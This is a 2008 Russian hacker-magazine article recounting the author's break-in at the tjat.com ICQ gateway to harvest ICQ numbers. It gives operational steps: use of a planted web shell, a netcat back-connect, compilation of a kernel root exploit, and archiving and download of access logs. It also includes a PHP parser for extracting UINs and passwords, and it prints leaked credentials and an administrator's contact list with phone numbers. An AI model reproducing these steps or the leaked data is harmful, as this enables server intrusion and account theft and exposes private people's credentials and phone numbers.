Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 120, ДЕКАБРЬ 2008 г.

ICQ: неочевидная угроза. Красивый захват тысячи уинов

Маг (icq 884888, http://wap-chat.ru)




Так уж сложилось, что ICQ стала моей любимой темой в журнале. Асечные UIN'ы прямо-таки манят своими красивыми сочетаниями цифр и создают непреодолимое желание обладать лучшими из номерков. На этот раз я продолжу начатое в номере за май 2007 года и вновь совершу жестокий акт вандализма над израильским WAP ICQ-шлюзом tjat.com, который, как ты уже знаешь, очень любят админы аськи.

Предыстория

Первый взлом tjat.com я совершил в конце ноября 2006 года. Взлом оставался нераскрытым до февраля 2007 года. За это время я собрал тысячи красивых (и не очень) уинов с этого сервиса. Если ты погуглишь на тему «tjat.com взлом», то сможешь увидеть, какой резонанс мое хак-действо вызвало в Рунете и, в частности, в сообществе асечников. Хек был довольно банальным: локал-инклуд на главной, затем инклуд шелла в логи сервера и, наконец, инклуд этих самых логов в главную страницу сервиса. Тогда админы поступили очень просто: закрыли локал инклуд и сменили юзера логов на root, чтобы даже при повторном взломе никто не смог прочитать логи сервиса (заметь, официально, по утверждению админов tjat, никакие логи на сервере не ведутся). Я, конечно же, расстроился, но на будущее все равно припас старый добрый r57-шелл на tjat.com по адресу forums.tjat.com/phpBB2/language/lang_ukrainian/404.php (форум патченый, так что не надейся на его взлом :)).
Шелл благополучно лежал незамеченным на протяжении полутора лет. И вот тут началось самое интересное. Перекапывая свои старые текстовики, я наткнулся на этот пресловутый шелл, зашел в него, посмотрел на каталог логов под рутом, затем глянул на версию ядра и обомлел, поражаясь своей недальновидности. Ядро Линуха было старое, уязвимое и ни разу не патченное:

Linux tjat-srv-main 2.6.15-1.2054_FC5smp #1 SMP Tue Mar 14 16:05:46 EST 2006 i686

По своему богатому опыту я прекрасно знал, что ядрышко очень хорошо раскалывается эксплойтом с нашего любимого milw0rm.com под названием «Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit» (на милворме пять модификаций данного сплойта, но разницы особой они не имеют). Но обо всем по порядку :).

Шаг за шагом

Итак, зайдя на свой старый шелл по адресу http://forums.tjat.com/phpBB2/language/lang_ukrainian/404.php, я попытался встроенными средствами р57 забиндить порт 11457 для подключения к /bin/bash с любого компа через PuTTY, так как для сборки и запуска ядерного сплойта требовался интерактивный шелл.
r57shell скрипел, пыхтел, долго грузил страницу, но так и не забиндил шелл ни через Perl, ни через Си-исходники. «Чертов файрвол!» - подумал Штирлиц. Но разве это преграда для матерого хакера? В r57shell есть такое прекрасное средство, как back-connect, которому нипочем практически любая «огненная стена». Для использования бэк-коннекта мне понадобилась известная утилита netcat, а также один из моих виндовых дедиков. Неткат я благополучно скачал на веб-хаке (ссылку, как обычно, смотри в сносках), а на дедик зашел через встроенную утилиту винды mstsc (Пуск -> Выполнить -> mstsc). Зайдя на дедик, я благополучно распаковал виндовую версию нетката в C:\netcat, затем запустил его через все тот же cmd на прослушку 11457 порта:

C:\netcat\nc.exe -l -p 11457

Теперь мне оставалось только вбить в бек-коннект IP-адрес своего дедика и нажать кнопку «Выполнить», что я благополучно и сделал.

Интерактивный шелл

После запуска back-connect, р57-шелл выдал мне радостное: «Now script try connect to 89.xxx.xxx.xxx port 11457 ...», а netcat на моем дедике успешно показал вывод команды id: «uid=99(nobody) gid=99(nobody) groups=99(nobody),536(nagcmd)». Текущие права, естественно, меня не устраивали :). Теперь нужно было скачать, скомпилить и запустить вышеуказанный ядерный сплойт.

Скопипастив содержимое http://milw0rm.com/exploits/2005 к себе в текстовик, я сохранил его под названием raptor_prctl1.c и залил с помощью все того же r57shell в директорию /usr/local/apache_1.3.37/htdocs/forum/phpBB2/language/lang_ukrainian. Далее, зайдя в интерактивный шелл на дедике, я выполнил следующую последовательность команд:

chmod 0777 raptor_prctl1.c
gcc raptor_prctl1.c -o raptor_prctl1 -Wall
./raptor_prctl1

После запуска последней команды сплойт начал свою адскую работу. Теперь оставалось только подождать несколько минут до завершения получения привилегий рута.

r00t

По истечении каких-то 2 минут я увидел жизнеутверждающий вывод команды id: "uid=0(root) gid=0(root) groups=99(nobody),536(nagcmd)". Радости моей не было предела :). Оставалось только затариться новой порцией живого пива и думать, как быть дальше со скачиванием и парсингом асечных логов.

Выполнив команды "cd /usr/local/apache_1.3.37/logs;ls -la", я увидел то, что так долго хотел заиметь - гиговые логи доступа с паролями и уинами.Так как мой дедик имел некислое подключение к интернету, самым оптимальным вариантом было: заархивировать всю папку с логами и слить ее к себе на дедик. Это я сразу же и сделал:

tar czfv /usr/local/apache_1.3.37/htdocs/forum/phpBB2/language/lang_ukrainian/total.tar.gz /usr/local/apache_1.3.37/logs/*

В одной директории с шеллом успешно создался 1084-метровый архив со всеми логами «тжата». Натравив Оперу моего дедика на даунлод этого пресловутого архива, я ушел в магазин за новой порцией пива. В запасе у меня было 10-15 минут.

Логи

Вернувшись домой, я увидел в корне диска C:/ своего дедика свежевыкачанный гиговый архивчик. Но, так как стандартными средствами винды парсить такого размера файлы не представлялось возможным (например, распакованный total_tjat.com-access_log.old_till09072007_1840 весил 1.5 Гб), то стоило задуматься о способе разбиения логов на несколько файлов поменьше. Немного погуглив, я нашел прекрасную халявную программку TextDivider 1.1 (freesoft.ru/file.html?id=672066&url=rep/672066/TDivider1.zip), которая могла разбить огромнейшие текстовые файлы на новые мелкие файлы, причем, размер строк в полученных текстовиках ты указываешь сам.

Итак, в поле TextDivider'а «Text file» я указал путь к моему первому логу, а в поле «Output to» - место для сохранения выходных файлов. Количество строк - 50000. Подождав 5 минут, я увидел в output-папке около 250 готовых текстовичков с логами. В каждом текстовике содержались строки вроде:

"http://fdvsuyefv83vrtowrtvosaer7tawo8etoaw87troa8t222.tjat.com/msn/
cui;jsessionid=9DB13238B5066DEC2848ECCF4F8A13E2?y=3lHga8"
"SonyEricssonK800i/R1JC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1"
217.65.192.44 - - [09/May/2007:02:17:45 +0300] "POST /index.php?
la=en&msn_account=ye3p%40msn.com&msn_pwd=toerparanojarp06
HTTP/1.1" 200 786 "-" "Nokia3100/1.0 (06.11) Profile/MIDP-1.0 Configuration/CLDC-1.0"
81.95.160.37 - - [09/May/2007:02:18:01 +0300] "-" 302 5
"-" "NokiaN73-1/2.0628.0.0.1 S60/3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1"
200.43.139.14 - - [09/May/2007:02:18:08 +0300] "-" 302 0
"-" "MOT-V551/08.18.40R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0"
195.189.142.244 - - [09/May/2007:02:18:09 +0300] "POST /index.php?
la=ru&icq_uin=294116206&icq_pwd=toer08031984rp06 HTTP/1.1" 200 1010
"-" "Opera/8.01 (J2ME/MIDP; Opera Mini/3.1.7196/1662; ru; U; ssr)"

Парсить их вручную, как ты понимаешь, не представлялось возможным. Плюс msn, yahoo и прочие аккаунты были мне не нужны, я гнался именно за ICQ-уинами. Пришла пора поднимать мои старые архивы с собственноручно написанными PHP-парсерами tjat.com :).

Парсинг

Не буду утруждать тебя своим кодом, приведу лишь самые важные части парсера:

<?php
//функция открывает файл логов и выдирает из него значения icq_uin и icq_pwd
function first_tjat($filename)
{
...
preg_match_all('/icq_uin=([0-9]{5,9})&icq_pwd=(.*)(&|HTTP)/i',$filest,$matches2);
...
return$ret_val;
}
//функция убирает все лишние символы из найденной выше строки с уином и паролем
function basic_replace($s)
{
$s=preg_replace("/icq_uin=([0-9]{5,9})&icq_pwd=(.*)( |HTTP)/i","$1;$2",$s);
...
$s=str_replace('toer','',$s);
$s=str_replace('rp06','',$s);
...
}
//получаем префикс файлов с логами
$urla=$_GET[file];
//парсим первые 100 файлов
for($k=1;$k<100;$k++)
{
$kaka='';
$kaka =$urla.'-'.$k.'.txt';
$kaka=first_tjat($kaka);
$kaka=basic_replace($kaka);
...
//выводим на экран отсортированный список uin;password
!empty($kaka[$i]) ? print urldecode($kaka[$i]).'<br/>' : '';
} ?>

Запустив свой парсер, я стал методично просматривать выводимые на экран списки номерков. Красивые откладывал сразу же для последующей проверки. Процедура заняла у меня 4 дня :). Просмотрев каждый лог, я получил следующий улов: админские пятизнаки 14441, 35555, 55444, 19975; простые неадминские пятизнаки в количестве 3 штук (не пишу их тут, потому что просто не хочу палить :); шестизнаки XY в количестве 5 штук (не пишу их тут по той же причине), других красивых XY, AB и зеркала - очень много :).

Далее я отдал списки логов на чек своему товарищу, который спустя несколько дней выдал мне отчет, содержавший около 50 тысяч валидных уинов.

Напоследок

Так как мы не жадные, то забрали себе и попривязывали ко всяким локализованным партнерам лишь самые красивые уины :). Остальные находятся в целости и сохранности. Из интересного могу предложить тебе кусок контакт-листа одного из самых главных админов 35555:

ICQ;10008;Orey Gil-yam;;+972 (52) 4872322 SMS;Fri Sep 23 2005 11:08:38
ICQ;10009;Tomer;;;Sun Sep 25 2005 13:00:09
ICQ;11221;Liat -Mrkt;;;Thu Mar 30 2006 13:28:59
ICQ;17168;itzik frid;;;Thu Nov 14 2002 13:45:11
ICQ;199516410;Galia;;;Thu Jul 06 2006 12:39:55
ICQ;200002;Eran Ofir;;+972 (52) 8200002;Thu May 19 2005 10:39:14
ICQ;22221;Osnat Fainaru - Produ;;;Tue Sep 20 2005 07:21:41
ICQ;22344;Adi Yosov;;;Wed Jun 07 2006 10:27:45
ICQ;23004;Channy;;;
ICQ;2775815;Or;;;
ICQ;30000;itay;;;Sat May 21 2005 05:17:55
ICQ;30003;Kalia - Support;;;Sat May 21 2005 05:17:55
ICQ;31372;Oriti QA;;;Sat May 21 2005 05:17:54
ICQ;31480;Rakefet;;;Fri Feb 10 2006 08:56:03
ICQ;44446;Sharon Megan;puki@ice.com;;Tue Oct 31 2006 06:41:26
ICQ;51513;Oran;;;Tue Dec 12 2006 10:05:44
ICQ;5164573;Orey;;;Fri Feb 10 2006 08:54:58
ICQ;55556;Hagit;;+972 (54) 6333223;Fri Feb 10 2006 08:54:58
ICQ;59000;Eytan - QA;;+972 (51) 840315;Fri Feb 10 2006 08:54:58
ICQ;59595;Eyal Mentzer;;;Fri Feb 10 2006 08:54:58

В заключение хочу сказать тебе, что ничто в Сети не может считаться безопасным. Даже уже однажды взломанный и в дальнейшем пропатченный сервис, которым ежедневно пользуются тысячи людей, включая самих админов Icq.Com.

P.S. По поводу использования доступа к аськам админов у нас есть некоторые интересные идеи, но это уже, как говорится, в следующей серии.

INFO

Спасибо Кеше за парсинг номерков!

DANGER

Вся вышеописанная информация предоставляется исключительно к размышлению. Никакая часть данного материала не может быть использована во вред, в обратном случае ни автор, ни редакция не несут какой-либо ответственности за возможный ущерб, причиненный материалами данной статьи.

Ссылки по теме

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001